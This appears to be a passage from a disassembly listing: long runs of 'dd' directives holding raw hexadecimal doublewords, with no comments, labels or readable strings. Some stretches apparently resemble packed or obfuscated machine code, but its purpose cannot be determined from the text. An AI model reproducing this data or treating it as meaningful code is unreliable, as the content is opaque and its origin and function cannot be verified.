9EBF0E98h dd 0BA14A967h, 0CC467933h, 1D8D0B7Dh, 0AC3ADAD2h, 20E8B81Dh dd 2D57B3C6h, 4BE49C08h, 8235A55Dh, 22AD3BDAh, 59116A6Ah dd 33A2440Fh, 0A9EB1EC1h, 91363106h, 0BB770226h, 33A15C2Dh dd 6E893CA3h, 6363D7D7h, 813D77F7h, 46FB0989h, 0A1C45C8Ah dd 26CD7233h, 1B4D06Ch, 0C80EEBEh, 0B5E75892h, 316B8A1Ch dd 0D0AA009Ah, 7742223Ch, 0C26DDEDEh, 0D4DD0C5Fh, 0AEF6405Eh dd 71B14768h, 1D6EA79Fh, 0A14F5791h, 0AFD67933h, 57F815DDh dd 6FD0355Eh, 42B9BA15h, 0A74C7D19h, 1E474B3Ch, 0B35FE24Bh dd 0D91F19AFh, 407E289Bh, 0F8BED8DAh, 0D288B432h, 0CBB51A41h dd 0A31C5EC8h, 780DEA30h, 7CE3438Fh, 4946ACFEh, 9194235Fh dd 45E8B7C8h, 8A2F56E9h, 0B67202B4h, 3DE02EBEh, 93F9BB2Ch dd 0DDA62273h, 0DFFED315h, 274AFD41h, 315F29B0h, 7DD9809Ah dd 0EA82AE85h, 6864DC47h, 0AD31DEFEh, 25B96637h, 11AF41h dd 0DFB74900h, 6BFD148Ch, 0B913A8E0h, 0D4427E36h, 64F21385h dd 834DF8D5h, 53459402h, 1D9726B0h, 0ACE477E7h, 0AE378610h dd 0B2B036F2h, 921E2D57h, 326363F2h, 5EC8C794h, 893CA31Ch dd 0E1197755h, 0DB7AF569h, 6E36809Eh, 34C12345h, 2C670A9Ch dd 7588F02Eh, 75EC439Bh, 16E6F3Bh, 4684355Fh, 5D3D5C8Ah dd 0AACD722Dh, 6018A314h, 2A78F26Ch, 2E49C3FCh, 0CFC6B589h dd 4EEC7E94h, 5D274AF1h, 23B14A95h, 0A7F1662Fh, 92DDB549h dd 0A13BD432h, 0D8B64E36h, 780B1782h, 64F60C43h, 5FC27DF1h dd 34B20DC5h, 590E3559h, 851DB1DFh, 1142423Ah, 61FD60FAh dd 0C050E6F4h, 1A486F08h, 0FE9E412Fh, 97F5BADFh, 0E57B0F4Fh dd 97000010h, 225AE57Dh, 0F6AE31A7h, 84FC4FD9h, 59539A0Ch dd 0B2A32AA4h, 0A630CD03h, 0E8629D17h, 39912F61h, 48C6FEB6h dd 4CC5C01h, 2D57B2E2h, 4B0040ECh, 8928A25Dh, 19A03ED7h dd 6C348298h, 0E71E8806h, 81395795h, 6B14EE09h, 45355F19h dd 6F648292h, 9A105AFDh, 2B5DEC7Ah, 0EDBF3FABh, 9F5AC3C2h dd 5CC7A7D9h, 0CE31071Bh, 1819B29Fh, 8642D279h, 2F1A1EEDh dd 41F674DBh, 0CCC0043Dh, 906E0B52h, 2FE97FCBh, 70E733A2h dd 0A05D4BCDh, 0E747D3F3h, 36892548h, 0A0D34D46h, 56718D0h dd 1977355Fh, 71C968E2h, 0FE166CCEh, 7BB7CA60h, 53E5F9C2h dd 274D83C1h, 78EE3CAAh, 562D5D09h, 0D3AC76E1h, 2D2F19DFh dd 135133BAh, 2FD315DDh, 4AFD33A2h, 0A2302640h, 9C07A833h dd 3CBE28A4h, 0A23F7EE4h, 172E0A33h, 676233D3h, 5FC27DF1h dd 0EE78940Ch, 0C3F5C94Ch, 0EBE573B7h, 0F282298Ch, 5E5A4536h dd 0AD3CA335h, 0C4DA92B2h, 1F662272h, 0ED2F22D5h, 558901BFh dd 27AF7B1Ah, 42E902ABh, 0F70E62DFh, 4187C519h, 925C5F89h dd 57CE7133h, 925D154Fh, 62D4AA33h, 18B6DC12h, 0AC3AF68Eh dd 2233925Ch, 65801ABDh, 6B3558D0h, 3DD58A01h, 0BBE31ADh dd 0AFE91CD3h, 30226C04h, 609340A7h, 89DAFA10h, 14B29A74h dd 60972882h, 0B32FA7D9h, 0D24C413Bh, 0B090193Ah, 31758991h dd 0F68h, 0D766F012h, 2BB224DDh, 79C05A71h, 0CC1F8B07h dd 1CAF39D4h, 4B4A843Fh dd 0F91A92DDh, 2EA4DC6Fh, 5B7B2DBCh, 49D77CCFh, 57B06781h dd 85FD692Dh, 65F46263h, 0A7079333h, 679C31CDh, 0AB039D30h dd 0F24DE114h, 0F931EF4Fh, 9E088440h, 6982654Fh, 5B51A3E1h dd 0F5000001h, 0ADF76363h, 0A1D04E47h, 0C35F770Dh, 55E3FF78h dd 337E07C3h, 0E54A355Fh, 13539149h, 0F9312D5Dh, 9533B440h dd 3302AA26h, 24000000h, 36A05D4Bh, 0A931BBB4h, 5461689Fh dd 2D31B621h, 5073999Bh, 5CD5FC6h, 355E4B7Ch, 934BE354h dd 2D5C5351h, 0B642FB33h, 0AA275931h, 0D200h, 63632200h dd 0D71577F7h, 0A243CD1Bh, 0E305CD33h, 0ED33A243h, 0D043F47Ah dd 0D57B5568h, 2255B3CDh, 0C44A26Eh, 258A33A2h, 0D9D30BBEh dd 7B31AD25h, 2C7CCF5Bh, 7C9BC8C6h, 6B5047EAh, 3E46D7D2h dd 7833CB6Ah, 3233A17Ch, 167C0492h, 70CF6FF9h, 0E5F97EC1h dd 9409C153h, 2C355CEEh, 16803856h, 5ACE6284h, 54FB6C2Dh dd 68608ECCh, 0CEBA2CFEh, 0A3142D5Ah, 0C4226030h, 7D275EC8h dd 0D87D640h, 0B723A3F0h, 0E895B837h, 901248C3h, 0A8F18B3Eh dd 4491B2C0h, 0E1A7236h, 22DC0000h, 526F21A8h, 840375C4h dd 39D1CB12h, 6F661EA1h, 0D66D6EF1h, 0E06BE518h, 32BD17A8h dd 83CA5C7Ah, 0D21DF509h, 15531F09h, 0BB2D57B0h, 6263572Fh dd 933365F4h, 63F6B407h, 3D77F763h, 0CEC60981h, 97025836h dd 0AF7B3D8Bh, 355F420Ah, 386EF166h, 798h, 7AECA4FAh, 542D5D3Dh dd 8B3EA826h, 62633A68h, 44175119h, 16B933A2h, 51934BE3h dd 6633A243h, 10562E98h, 0EF4FD9FAh, 92DD2150h, 803568B7h dd 78786E6Ah, 0EE14244Dh, 0DC629538h, 95EB296Bh, 57B88BDDh dd 6392452Dh, 0C20D8539h, 82E4ACE2h, 4C2D57B8h, 8C00789Bh dd 23A2D812h, 2E849BB5h, 65491BFh, 0D5B62h, 6BE31D00h dd 8711A8E0h, 0D5477C34h, 60F6128Ah, 0B02EA7D9h, 57992C29h dd 0E79920BEh, 0B1EB72ECh, 4038831Bh, 0C28BD24Ch, 0AE5C8A46h dd 0F6722D57h, 0DA184B9Eh, 0DE4E460Fh, 84396392h, 35C9C30Ah dd 0CD85DB5Dh, 33A1E79Bh, 0DB138235h, 5A702DA1h, 6B015DC0h dd 57FFF6Bh, 0DE1C8Eh, 8C101128h, 0BD5195ACh, 0DCCA9A25h dd 0B936B426h, 0C591161Eh, 21A0A3E1h, 0E0000000h, 0DB80E6A2h dd 0B3ED33A1h, 26B8910Dh, 2FA4D618h, 0BFEF16BDh, 0A23DB9C1h dd 0B54A3433h, 0EAFFFFFDh, 0A243A3C1h, 90263433h, 440C4280h dd 33A24422h, 0CC1AD6ACh, 233A243h, 778F365Dh, 3568B7E0h dd 0F3191BCCh, 0D73D47D3h, 0B235AC3Ah, 344CDAFAh, 0DB422DEh dd 0A432D3A9h, 0BF29E9A4h, 65015D91h, 0C80h, 0BF0E983Ah dd 135ACCC5h, 61E86299h, 0B407932Fh, 457C1FCh, 5372BCD7h dd 81027AC5h, 36CCC417h, 636315A4h, 0A1FF64F7h, 57AD7FE9h dd 0BDD5512Dh, 77F76363h, 0DD22BA15h, 0D444CCEEh, 4FDBFBADh dd 40F931EFh, 532103ACh, 72A08EFFh, 0ED6599C3h, 11467DABh dd 76C965FDh, 0A70950C3h, 0A3E1B340h, 2117h, 17D31100h dd 33A1EDD1h, 7D2948FFh, 2BBD754Bh, 0A533A244h, 0FF7B8332h dd 0FE33A23Dh, 0FFFCEB80h, 9E9C20FFh, 67A06828h, 0A9355F44h dd 0F76CA406h, 9D2D5D43h, 87689C55h, 0AEAA2665h, 18Ah dd 43B3C1C8h, 53E33A2h, 0EB7D350Bh, 0E533A243h, 2F8F1BB7h dd 92CA6D90h, 0B55E472h, 0F777E71Dh, 6F67D978h, 40CC1473h dd 264D1591h, 207E4C84h, 0BBC333A2h, 0D04E4682h, 0A01EE889h dd 0C25C700Ah, 1FEB297Bh, 33A21FC9h, 0EF7F9507h, 2A4DF04Fh dd 66C45272h, 0A22084AEh, 0EF46AE33h, 7DEDE503h, 7A364EE1h dd 33A21FECh, 52DA7DE2h, 0A3E1894Dh, 11564h, 63630E00h dd 0FF1577F7h, 70284BC7h, 0FE7BC25Ch, 0E77393E0h, 9B682070h dd 75355F33h, 0CC3A68C2h, 19D1A335h, 2D5D13CFh, 0DF275E01h dd 2D5D1385h, 0FA0E270Fh, 0AA2695F5h, 45DCh, 9E9C6600h dd 0FC2A6828h, 234549C3h, 0AD33A244h, 0C1899B3Ah, 355F3F40h dd 3F552F90h, 42E80B87h, 5D3F588Ah, 82E83A2Dh, 0A609305h dd 6DE0C733h, 3F90AA26h, 84B2DECEh, 0F84F421h, 77EE419Dh dd 8742h, 6363E400h, 803D77F7h, 26DED416h, 447832A8h, 68AB83CAh dd 2233A24Ch, 0CA534A2h, 30F8B80Eh, 355D9D6Bh, 0E40212C5h dd 0B4EC7FE9h, 0DF494A19h, 83BD209Fh, 91B20F88h, 0A94622B8h dd 5300000Ah, 1E96D9B1h, 0B2EA75E3h, 40388315h, 158FDE48h dd 0FEDF6EF8h, 9A748947h, 2CA65953h, 7DEDEB9Dh, 8C1ABAF2h dd 0C088983Dh, 2D57ABA6h, 63C4BC28h, 3365F462h, 0DC94EA93h dd 33A2438Ah, 0DD0B9344h, 0F333A243h, 1496D94Ch, 77F76363h dd 0C609813Dh, 427C0h, 184B6000h, 7528916Ch, 3726515Bh dd 0BC0A1056h, 0D7DE2CE4h, 97383567h, 13A5B9AAh, 0E9404901h dd 0EA902F14h, 96D47BEDh, 3721DE34h, 0FED78069h, 88BF2235h dd 0F9E788BBh, 66BC2736h, 33930FFCh, 6397AE86h, 0A3F0997Ch dd 3835Bh, 0D39FDD00h, 33930795h, 316D943Bh, 0A908184Bh dd 0A63A7A14h, 837DE73Fh, 478533A1h, 0F33B9329h, 33A18375h dd 0E98315Bh, 801AB19Bh, 83628D11h, 9B6733A1h, 0BDD2E8h dd 749B5496h, 0DC1E8804h, 0ECA4FC63h, 355E93C7h, 87E1A9EFh dd 0AF2D5C73h, 8C338713h, 6A62D515h, 91B07517h, 0A5B3F707h dd 57000009h, 0E29A25BDh, 0B6EE71E7h, 443C8F19h, 1993DA4Ch dd 0F2E36AE4h, 0E6708D43h, 28A25D57h, 79D1EFA1h, 8806BEF6h dd 0C48C9C41h, 2D57AAA2h, 63C0802Ch, 0C277F763h, 0E6708FFCh dd 3C44EB44h, 68B81574h, 344CF335h, 0E52927DEh, 0A05B4FEFh dd 0A92A12B9h, 0B43D843Fh, 480010A6h, 2F1DEE45h, 66C349Bh dd 0F8C8138Dh, 978729D7h, 3B2EF0Eh, 0A1D991FBh, 0F9455633h dd 0B853E76h, 73E7E309h, 99DD44FBh, 0F777E3E3h, 4ACA7C42h dd 5ECAB1FEh, 88BE135h, 74DB679Eh, 0B0FEFF54h, 9BEF6F91h dd 904h, 3B821CB6h, 8FDE4841h, 0DD6CFE15h, 30BB2FABh, 80CB4578h dd 0D7EE2053h, 5BEF679h, 0B248408Bh, 0E71F91D8h, 2D7BE06Bh dd 57AB0365h, 2121CD2Dh, 68289E9Ch, 68B86DA0h, 8B076D35h dd 3860DF1Fh, 1ED10D87h, 99315BE7h, 0EF12AD01h, 0F447F95h dd 6DC218F6h, 823D77C6h, 5B27D208h, 3F55ABEDh, 1FD00A84h dd 2BEB1EE4h, 86292F1Eh, 1BADB124h, 1B0C5119h, 33A4355Fh dd 0B08A2C19h, 0AEDA2091h, 880h, 0BF0E983Ah, 135ACCC5h dd 61E86299h, 0B407932Fh, 457C1FCh, 5372BCD7h, 81027AC5h dd 36CCC417h, 636315A4h, 0A1FF64F7h, 57A97FE9h, 0BDD5512Dh dd 0A0776363h, 0ED418CFCh, 0F70DD51Dh, 0C02D14C0h, 6B6B015Dh dd 2F0AA5FFh, 142C0BEDh, 0BC56988h, 32D2162Fh, 4C5315A4h dd 0CA3E1FBh, 0A5E402CEh, 45EA33A1h, 0E5003D5Eh, 0ED145284h dd 18BF4h, 63639E00h, 4B47ADF7h, 3A09FDFh, 24489FA6h, 1C56C174h dd 31AB204Eh, 0A99302BDh, 8DFBBD15h, 0E57CE777h, 813D4E4Ch dd 0F71AD509h, 8E20E5ADh, 47E8355Eh, 0AEB52FE7h, 0D9F52D5Ch dd 7F97ED41h, 0AF24420Eh, 5AA2D5Ch, 0AA265C9Eh, 8301BE3Ch dd 67BFBEB7h, 0DDC2360Fh, 0F4AA26FAh, 4Ch, 0A45D4B9Eh dd 58268332h, 985096EEh, 33A2444Eh, 526DDF80h, 3CF59F8h dd 355F3F7Eh, 6902852h, 61835B93h, 232D5D3Fh, 709E72CBh dd 5632F5Ch, 0CB2D5D40h, 0C27DF164h, 3F70F6B2h, 0E95E2D5Dh dd 6DC1264Eh, 0C990AA26h, 0B2000000h, 91326363h, 0C788A707h dd 70C163AEh, 0A905A8DFh, 6A432D3h dd 64C6506Ch, 5832C826h, 164F4739h, 0B9FB6EF8h, 8925B553h dd 0DE348F36h, 33A2429Bh, 60EB679Fh, 3B7DCBD7h, 6A436CDh dd 5EC5576Ch, 9D5527h, 58355D9Dh, 90079132h, 0FD6B6A80h dd 0D9B3A72h, 0B20EE073h, 8EFA0091h, 704h, 3B821CB6h, 8FDE4841h dd 0DD6CFE15h, 30BB2FABh, 80CB4578h, 0D7EE2053h, 5BEF679h dd 0B248408Bh, 0E71F91D8h, 2D7BE06Bh, 57A90365h, 2121CD2Dh dd 2BBD754Bh, 6B33A244h, 0A244499Fh, 8ED08733h, 0F975E71Ch dd 0F8A0D346h, 98768EC5h, 0F746ED42h, 1F0901BDh, 56C5059Dh dd 5C1A7097h, 37ACCDA9h, 7F9AF080h, 0B7F74EE9h, 2BBD754Bh dd 0A533A244h, 25D98332h, 5B7B31ADh, 590A7CCFh, 0AA000000h dd 0F94C184Bh, 70D054C8h, 8D6C1h, 3CF48C3Ah, 356812CFh dd 0BD15A9C7h, 3DD6C41Ah, 0ECB40BA3h, 581AC224h, 345B0C2Dh dd 0B21AC4Bh, 99F78137h, 3F49E862h, 1E8F1773h, 36CD3B2Fh dd 3AAD3DA4h, 45FD5Dh, 0CA70000h, 4C2B21Eh, 0F7713986h dd 0D933A1D7h, 0E250C376h, 68289E9Ch, 5F50DBA0h, 4C473535h dd 0D70FAFD2h, 57D0C568h, 31F93F09h, 39E749B7h, 670FB619h dd 5FE9F5CEh, 56700DC5h, 0E7483BA4h, 8F5254h, 9CF20000h dd 0A068289Eh, 3568B865h, 167C04ABh, 74CB63FDh, 0AA25DCCDh dd 0B246FFBBh, 0AA2BF52Dh, 5304h, 9E9C2E00h, 0E747D7EDh dd 97532548h, 3568B775h, 0DCFBEC53h, 0FC6E6491h, 1F89047Eh dd 82179DFh, 0AA83DF09h, 2BF5595Eh, 2678AAh, 9C1A0000h dd 0A068289Eh, 3568B86Bh, 6A0D32A5h, 0B78ECADBh, 3DEC685Bh dd 0DFC2F348h, 0ADEBCCA4h, 1ACAAA2Bh, 6C000000h, 2BBD754Bh dd 0A533A244h, 0DD4B4A32h, 4C7A60BAh, 0B7733A2h, 0FFFFFF40h dd 0A05D4BABh, 542A8F36h, 0BFD692E2h, 0A33568B8h, 0B743A56Dh dd 0DA8D2D57h, 3AB027BBh, 315A3BFh, 1E2B4347h, 9CDE812Fh dd 0E1B30519h, 68BD9629h, 3345EA35h, 23AA3CD5h, 42EF6E41h dd 0CF4BF6B3h, 5752E503h, 0D144EB2Dh, 525D8B47h, 0CC732D57h dd 0B80E0C55h, 0C7E530F8h, 6F852F1Dh, 658FB57h, 73EB7D94h dd 0D10D8539h, 3C44EB1Eh, 0C7B432FEh, 0B51A33A1h, 0FE3C7202h dd 0A1C7B432h, 2B51A33h, 0A32ABC5Ah, 0D182EEC1h, 3B3F879Eh dd 0D9F50298h, 813DBBBBh, 36CEC609h, 0D56BFDB5h, 0F2659B7Bh dd 946AEF4Fh, 0DD965222h, 0CB9D38CDh, 1751C664h, 0DCCF19D1h dd 5E01953Eh, 1AF64F27h, 0DCDA0CC4h, 43F4953Eh, 0DCEF7931h dd 7EE1953Eh, 0E9619DC7h, 8C00666h, 953EDCDEh, 6CD44FF0h dd 0C66C456h, 6DCB63F5h, 92F8142Dh, 0F54AE076h, 6AFC1A42h dd 0BB13A9E3h, 0F1C30023h, 4A4084BDh, 9C1D89D0h, 0FFB52999h dd 9E134BC7h, 0B122900h, 97D7417Eh, 3AB835D8h, 0B86D1C18h dd 0A4FACA15h, 0A22C7AECh, 8117B233h, 9B4C922Dh, 0D78C0078h dd 0B10EAC3Ah, 2CBD2BE7h, 0AC1333A2h, 0EA001039h, 4DE278EEh dd 4AD3B2Ah, 0F670387Eh, 0D833A22Ch, 8FA6CC77h, 76324B4Bh dd 33A22CF0h, 9ACC84DEh, 3433A22Ch, 84691C83h, 4CE0ECDDh dd 248F893Ch, 8592290Eh, 0D5823505h, 0A9C3553h, 8E18B1EBh dd 70387E2Ch, 33A222F6h, 98CE9AD8h, 3633A222h, 23FB1A81h dd 33A222C5h, 37F34A10h, 0E3BD0C9Ah, 7B9A0C85h, 0DB138B01h dd 0A222E203h, 64DD5133h, 29B02AA0h, 0A2274FD5h, 5E42DA33h dd 12A3E1A1h, 4A1496B1h, 11806BA0h, 0FFFF3660h, 0CBCA20FFh dd 37AE015Dh, 0F7636347h, 0C3902C64h, 0A41B53C7h, 0AC200831h dd 0D2180D32h, 2B27DF1Bh, 0E6343448h, 0AFEF4A46h, 743D484Bh dd 6DFBB7C1h, 6333A181h, 0B0E849FCh, 0A3E22B2Fh, 4106h dd 4CC0200h, 33A175E2h, 9600BEECh, 9C82F063h, 0A068289Eh dd 3568B868h, 690831A6h, 0B7DD0BDFh, 912E8C1Ah, 0E350C66h dd 32FE8630h, 2F1E2BD6h, 52D68334h, 0A6C4FA71h, 0B3E46Fh dd 3C56h, 9E9CFE00h, 68A06828h, 0A63568B8h, 0DA41DBF4h dd 7EAD0235h, 3E3C073Eh, 0C8C08888h, 0C82F1E2Bh, 38B224A2h dd 0D8C21C87h, 0BB34B620h, 0A4A30C14h, 601A700Ch, 0D8128403h dd 1041F067h, 0F76363B2h, 9813D77h, 62A0E6C6h, 0A24440A6h dd 0D5D98E33h, 33A24393h, 43B137F3h, 0A81F33A2h, 0A106B126h dd 61296BDDh, 355F33A4h, 42A46CA2h, 2F2D5D14h, 96BF39E1h dd 0D384CAD2h, 35A91EA0h, 0F591157h, 0C12D5C9Ch, 0C51FE71Eh dd 4F2D5C9Bh, 6CFA177Dh, 7C88A1F5h, 0AA270D7Bh, 345Ah dd 9E9CFC00h, 82026828h, 0D793ED14h, 355F3F2Ah, 459DD186h dd 2D5D401Fh, 82D8B64Fh, 6BDD2E8h, 4ACD6194h, 0FA383930h dd 684FBBB2h, 4FAA266Dh, 0D0h, 0F76363EBh, 16803D77h, 4526DED4h dd 0A2435B8Dh, 5FC27533h, 0F169651Fh, 3F15946Eh, 0B95533A2h dd 0C47C5721h, 0BD6DB8E5h, 8A5A8C44h, 0C37433A1h, 0EAA2255Ch dd 8D05B9EAh, 4D51C466h, 0B453B9FBh, 29E1B322h, 355E5EFCh dd 0DF58E354h, 672375C3h, 2F181BACh, 0C2547218h, 72E87E9Ah dd 0A0CE56FDh, 8BE1B32Dh, 0C9231D0Dh, 3ECBE261h, 0DFD1688Bh dd 5990A826h, 9597F7F5h, 1D63D49h, 6E600000h, 963365F4h dd 0C8C7B900h, 7D950F5Eh, 0AB2A62EDh, 12A1B23Dh, 24B721DCh dd 76F9536Ch, 0C716803Eh, 165931CDh, 0D117D34Dh, 0FF2D57A2h dd 62631373h, 7B0A1774h, 1B8E1442h, 2A24D8D0h, 8C0A2AE3h dd 0D116771Ah, 78EEBAFAh, 5633A1D8h, 0B3F37AE1h, 68289E9Ch dd 9339CD47h, 0B322A8F6h, 0F15829E1h, 7A8355Eh, 0F9F56FA7h dd 579F2D5Ch, 0B3856A9Eh, 0D8ACAA26h, 0D4000000h, 81A298FBh dd 45E1940Eh, 76245FA3h, 104184Bh, 0C8AB8C00h, 43DFF7A9h dd 0E27C91EBh, 52945C92h, 7C33A213h, 0AF55014Bh, 0CD70022Ch dd 61C800AAh, 1933A198h, 0AAE26DE5h, 0C842792Ah, 1EB5D3A5h dd 66912E8Ch, 0C37549CCh, 74ACF9B1h, 0B324355Eh, 980E8BE1h dd 4D51E679h, 0C7F1B9FBh, 292F1826h, 99D54543h, 0A3E1B326h dd 0A00681E7h, 0A45D4F33h, 9007B832h, 0C4F91761h, 71E4728Fh dd 5A709EEEh, 703652Dh, 1ACD33A0h, 0F9144CF7h, 981E6D6Fh dd 0C4E97F7h, 0C378h, 0C35B7500h, 1F890078h, 0AD3FD4CCh dd 0F86E6A22h, 8863F71h, 0AF6194C1h, 7F31B816h, 983CA44h dd 0D8D01BF3h, 0BA23AA24h, 0A1C422EEh, 9E0A2D57h, 0F46263E6h dd 7933365h, 60FE177Dh, 633C6EF1h, 963263h, 0AB2B419Dh dd 6B27653Fh, 33A243FDh, 72F56CD3h, 740C9A3Ah, 8708C5Bh dd 1D350609h, 0A2487F11h, 0CC178EF0h, 874338D4h, 33A1CD61h dd 0C355F86Fh, 7BE28A5h, 56F77AFh, 64BCD1A7h, 1855FF4Bh dd 0D2446BE5h, 0EF873EC7h, 0B34CBA56h, 0CEC6BED9h, 7F970950h dd 5F7B91E3h, 0A5DC93CBh, 98355331h, 3DD6AC0Eh, 1B40BA3h dd 8412AE96h, 54EDB126h, 5BE27C90h, 0B935AD21h, 3CDh, 443E9500h dd 75E96163h, 0D30B873Fh, 33AB23D9h, 6ECC4679h, 0CF6FF914h dd 2C8E18B5h, 8E2CBA56h, 114DDFF4h, 72E87E9Bh, 6B5D68CEh dd 3C890000h, 4D1A6824h, 2C890000h, 0E3895324h, 4C381h dd 0EB810000h, 4, 5C241C87h, 53240C89h, 0F968EFBBh, 2507BD42h dd 0C581C351h, 60F210BDh, 0ED81DD01h, 60F210BDh, 522B685Bh dd 24890000h, 24048124h, 4, 4EC8359h, 0B8240489h, 8, 2889C801h dd 2434FF58h, 4C48159h, 0FF000000h, 835D2434h, 4BE904C4h dd 56FFFBA2h, 9C471DC2h, 0B85893C7h, 64AA2FEh, 0E0FFC503h dd 71E568AFh dd 57F6FD1Bh, 63844BE1h, 1C4E162Ah, 0B6F8EF9h, 374A58DCh dd 1EFB95D8h, 6002F233h, 4D616391h, 6C25DF93h, 1B767062h dd 2D7829Dh, 25918878h, 63AC8627h, 45C1F3BDh, 13730858h dd 5E173A7Bh, 6CEF478Dh, 2C63D111h, 187337FBh, 16BF501Ah dd 24801651h, 77FB7FF3h, 3030B587h, 278F85EBh, 4610948Eh dd 1980E7C4h, 290F898Ch, 0B330954h, 2DEBh, 0DD00000h, 319CBFAEh dd 0ADF9DFF2h, 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh dd 68009D89h, 14672681h, 7C03B2BDh, 0E96AC6CCh, 0B18h dd 4AA52568h, 0D9A3E906h, 5F68FFFAh, 0E9064AA6h, 0FFFAD999h dd 4AA78068h, 0D98FE906h, 1568FFFAh, 0E9064AA8h, 0FFFAD985h dd 4AA90B68h, 0D97BE906h, 0F368FFFAh, 0E9064AA9h, 0FFFAD971h dd 4AAAA668h, 0D967E906h, 8E68FFFAh, 0E9064AACh, 0FFFAD95Dh dd 4AAD8668h, 0D953E906h, 5A47FFFAh, 0ECE029B3h, 9000C953h dd 2D9C6DFFh, 0C937029Ah, 9E269804h, 0D94308F6h, 7BE19E10h dd 1E8E3DAEh, 0BF2DD8CBh, 717E50DAh, 0D1180035h, 625B8080h dd 0CFAE9BD3h, 0EB6AFD7Ch, 6C420E84h, 0FFED99Bh, 0CD9CDE27h dd 23CCE2DAh, 9F1800D1h, 8653C956h, 5C03A513h, 0E41800D1h dd 6E4C129Fh, 7A5C1EAFh, 16497F6Ah, 22CB83D0h, 418814AFh dd 83EFB34Eh, 7586694Fh, 0B3381E4Bh, 92697D0Ah, 5FD32083h dd 4109B81Dh, 0DA6D5C0Dh, 9C140A54h, 59AA1C86h, 7CA7C179h dd 0FADC2C77h, 95Dh, 0CB51F8E5h, 6BF18A7Eh, 0F9D2E9Eh dd 0A438CB3Ah, 3AA26755h, 0A6140098h, 3CAE7BE1h, 0DBCC1D8Fh dd 7669B02Ch, 0F63851CBh, 360FD0h, 6226B318h, 0D9FFCDC0h dd 11B59116h, 92DC59AAh, 762CD9CBh, 421B73C7h, 0A6FAB44Fh dd 0B5915F00h, 90299D11h, 0B42AA035h, 2C6EDFFEh, 0F0A2788Ah dd 46783E0Fh, 17FAC299h, 85D96457h, 784D174h, 0C4667D63h dd 0F23C17FAh, 5509BC2Bh, 0A9BC2EA4h, 5E01A7FBh, 0E217FAC2h dd 4B5B1D91h, 14DEBFD5h, 35h, 0D3625BA6h, 22E1D29Bh, 3579FD7Ch dd 0F09E8393h, 0F2A83D0Fh, 7AEFDF8Eh, 814CA288h, 90D65370h dd 10C3ED61h, 4617FB59h, 0F97C3DAh, 48DEC06Eh, 0CAh, 32CDC07Ah dd 6A59006Ch, 0FC7283A7h, 4C12B725h, 234702F5h, 30AC574Ah dd 0B59F481Eh, 0A7158811h, 0B5955E01h, 1491E211h, 9505D488h dd 5A8FAEF4h, 8059DD66h, 4A65560Dh, 64F28E1Bh, 547143E7h dd 637355E5h, 0DD0FF098h, 1C501488h, 0FAACB5BAh, 72F80D17h dd 7A348500h, 42480344h, 6436BF16h, 0EADA47B5h, 0F940DC59h dd 345C460Bh, 39712E75h, 823E7F1h, 329F0000h, 0C438019Bh dd 6858A13Bh, 5F445A7h, 0A10FDA42h, 0C6DE70ECh, 0B12BE0CEh dd 53C97668h, 0F6761586h, 9715B023h, 491688F2h, 0F9180037h dd 0D2C0A868h, 0E2D07D3Dh, 0B4639ED4h, 8257C94Dh, 733A740Fh dd 0C6A90F83h, 7A11B625h, 68E66CE9h, 0D7726534h, 625B6143h dd 0DFD29BD3h, 37A77E24h, 0A421D096h, 5A4C622Eh, 0E40FF09Eh dd 0CE85CB9Fh, 1417FA98h, 0E6BFE3A4h, 0BD0E54F7h, 72079AA3h dd 1B8BCFD6h, 44DEBFADh, 0D0h, 0D1706108h, 0C4E66C8Dh dd 6C32CDC0h, 3C622795h, 0B59FC492h, 85B49111h, 6C73778h dd 0FFB04D9Dh, 61F5720Bh, 128A35A8h, 7529D4C7h, 32138607h dd 0FC10A45Bh, 0F1D767E4h, 0FF101E5h, 955A7CB0h, 2D17FB15h dd 708552D8h, 0B60786ECh, 7C235E4h, 105CD263h, 392698DCh dd 8917FB15h, 60E8F67Ch, 91642B3h, 0D37DFD1Ch, 0EB6F0595h dd 3377074Ch, 0C16D9FFh, 59AA1E43h, 430C6C73h, 5A8FD41Eh dd 6F53A76Ch, 21BB50BEh, 7D25EAD8h, 712F1F19h, 292C444h dd 40000007h, 0D920BC53h, 79C05CE5h, 9564F889h, 30F96326h dd 3D9F0DC2h, 4C01EFA5h, 0EA9709D0h, 9736A772h, 36D1C415h dd 75ABD3B6h, 1800386Ah, 0C08F89D6h, 5AAF3DD2h, 1240DC67h dd 6C32CDC0h, 5672295h, 0B59310C3h, 0F9484D11h, 4BF4E8B1h dd 0C5992296h, 0DCF2BE34h, 0FFE3D15h, 0ADAA70A1h, 19261F66h dd 980BD29Ch, 37AA7FEDh, 0BFEAD68Ch, 0DABBD7F5h, 4032B83Eh dd 3CACD045h, 8E0526A4h, 0C3574901h, 75163B27h, 3EBB44B8h dd 31360814h, 0B3256571h, 66Dh, 0BB21E8D5h, 5BC17A6Eh dd 0FF6D1E8Eh, 9408BB2Ah, 2AB25745h, 960410A8h, 2C9E6BF1h dd 0CB3C0D9Fh, 6659A03Ch, 0C64841DBh, 39FFE0h, 12364318h dd 7832CDC0h, 0C2877524h, 0B0BF9D9Ch, 1011B591h, 0BE174FC3h dd 19EAB04Bh, 0DACC9DD1h, 0D4F8792Dh, 11B5910Bh, 7036DBC9h dd 9D1162C1h, 0C83BF60Fh, 38AC7D3Dh, 0D45ADB8Fh, 0A876703Ah dd 1921D87Ah, 93000000h, 0B0BF1155h, 1011B591h, 91C7A80Eh dd 0EA7B11B5h, 89CFE96Dh, 31000001h, 0B5931C37h, 9D337711h dd 11B591D2h, 773DC16Eh, 488A7A13h, 0B01547CBh, 64354901h dd 6190D671h, 3B19C3EDh, 9FA30FFFh, 1333639h, 0CA5D8A18h dd 9F31801Ah, 89C14ECBh, 0DA50EFE0h, 29D4C796h, 0C87366B3h dd 0D465A092h, 9BEB469Ah, 1F4DBD06h, 72118227h, 0A7890D2Ch dd 163C18F3h, 10163045h, 6D713227h, 577BB1Dh, 0DECB0000h dd 7064B537h, 148455D7h, 0B120E973h, 4DBB8E1Eh, 1AA224B8h dd 65C78C7Ah, 7652294h, 9A02C132h, 3BA15C4Fh, 0F5FADC5Eh dd 4D18003Ah, 0CDC0043Ch, 96CC776Ah, 0FF322943h, 0C74413AEh dd 0A715307Ah, 3E62250Eh, 76F39404h, 0DED1A8E0h, 9CAC7F23h dd 0A05B4E89h, 0E874723Ch, 142FD87Ah, 0E3000000h, 0C56609AFh dd 34A411B5h, 2FA33093h, 0AA3F1Dh, 5B010000h, 259BD362h dd 0FFE3D52h, 4D565EEh, 0A376F691h, 68C59530h, 